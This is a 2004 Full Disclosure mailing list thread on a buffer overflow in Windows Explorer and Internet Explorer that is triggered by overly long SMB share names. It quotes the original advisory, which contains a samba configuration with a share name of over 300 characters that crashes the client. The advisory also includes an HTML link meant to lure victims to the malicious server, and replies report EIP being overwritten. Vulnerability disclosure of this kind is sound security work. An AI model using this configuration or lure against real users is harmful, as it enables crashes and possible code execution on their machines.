Full Disclosure mailing list archives
Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow.
From: "KF (lists)" <kf_lists () secnetops com>
Date: Mon, 26 Apr 2004 22:54:55 -0400
This crashed IE 5.0.3700.1000 on Win2k SP4 Both the EBP and EIP were overwritten with 0x00410041. ESP holds the Share name as passed by the server. ESI holds servers.ip\sharename (tolowered) I guess its unicode ninjitsu time. -KF Milan 't4c' Berger wrote:
Hello, I expierenced the same like Daniel. Windows 2k all hotfixes and patches installed. Machine doesn't crash, just gave me the error message "share name not found" Tested on german Windows 2000 pro SP4/IE6 tested with Windows Explorer. Regards, Milan Daniel Regalado Arias wrote:Well, i have tested it in W2k with sp3 and explorer didnt get crashed!!!!!!! Well, i cant get into the share because a message appears saying "share name not found"!!!! But, explorer is OK. --- Rodrigo Gutierrez <rodrigo () intellicomp cl> escribió: > Sunday afternoon is a bit boring, and weather sucksdown here in Santiago, Chile so here we go... The vuln is attached in TXT format, I would be gratefull if someone could verify if it affects windows 2003 as well. Rodrigo.-Microsoft Explorer and Internet Explorer LongShareName Buffer Overflow. Author: Rodrigo Gutierrez <rodrigo () intellicomp cl> Affected: MS Internet Explorer, MS Explorer (explorer.exe) Windows XP(All), Windows 2000(All) Not Tested: Windows 2003, Windows me, Windows 98, Windows 95 Vendor Status: i notified the vendor in the beginning of 2002, this vulnerability was supposed to be fixed in xp service pack 1 according to the vendors knowledge base article 322857. Vendor url:http://support.microsoft.com/default.aspx?scid=kb;en-us;322857Background. MS Explorer (explorer.exe) and MS InternetExplorer(IEXPLORE.EXE) are core pieces of Microsoft Windows Operating Systems.Description Windows fails to handle long share names when accessing a remote file servers such as samba, allowing a malicious server to crash the clients explorer and eventually get to execute arbitrary code in the machine as the current user (usually with Administrator rights in windows machines). Analysis In order to exploit this, an attacker must be ableto get a user to connect to a malicious server which contains a share nameequal or longer than 300 characters, windows wont allow you to create such ashare, but of course samba includes the feature ;). After your samba box isup and running create a share in you smb.conf : #------------ CUT HERE -------------[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]comment = Area 51 path = /tmp/testfolder public = yes writable = yes printable = no browseable = yes write list = @trymywingchung #------------ CUT HERE ------------- After your server is up, just get to your windows test box and get to the start menu > run > \\your.malicious.server.ip., plufff, explorer will crash :). Social Engineering: <a href="\\my.malicious.server.ip">Enter My 0day sploit archive</a> Workaround. From your network card settings disable the client for Microsoft networks until a real fix for this vulnerability is available._________________________________________________________ Do You Yahoo!? Información de Estados Unidos y América Latina, en Yahoo! Noticias. Visítanos en http://noticias.espanol.yahoo.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Microsoft's Explorer and Internet Explorer long share name buffer overflow. Rodrigo Gutierrez (Apr 25)
- <Possible follow-ups>
- Microsoft's Explorer and Internet Explorer long share name buffer overflow. Rodrigo Gutierrez (Apr 25)
- Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow. Daniel Regalado Arias (Apr 26)
- RE: Microsoft's Explorer and Internet Explorer long share name buffer overflow. Rodrigo Gutierrez (Apr 26)
- Re: RE: Microsoft's Explorer and Internet Explorer long share name buffer overflow. Daniel Regalado Arias (Apr 26)
- Re: Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow. Milan 't4c' Berger (Apr 26)
- RE: Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow. Rodrigo Gutierrez (Apr 26)
- Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow. KF (lists) (Apr 26)
- Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow. jan . muenther (Apr 27)
- Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow. Daniel Regalado Arias (Apr 26)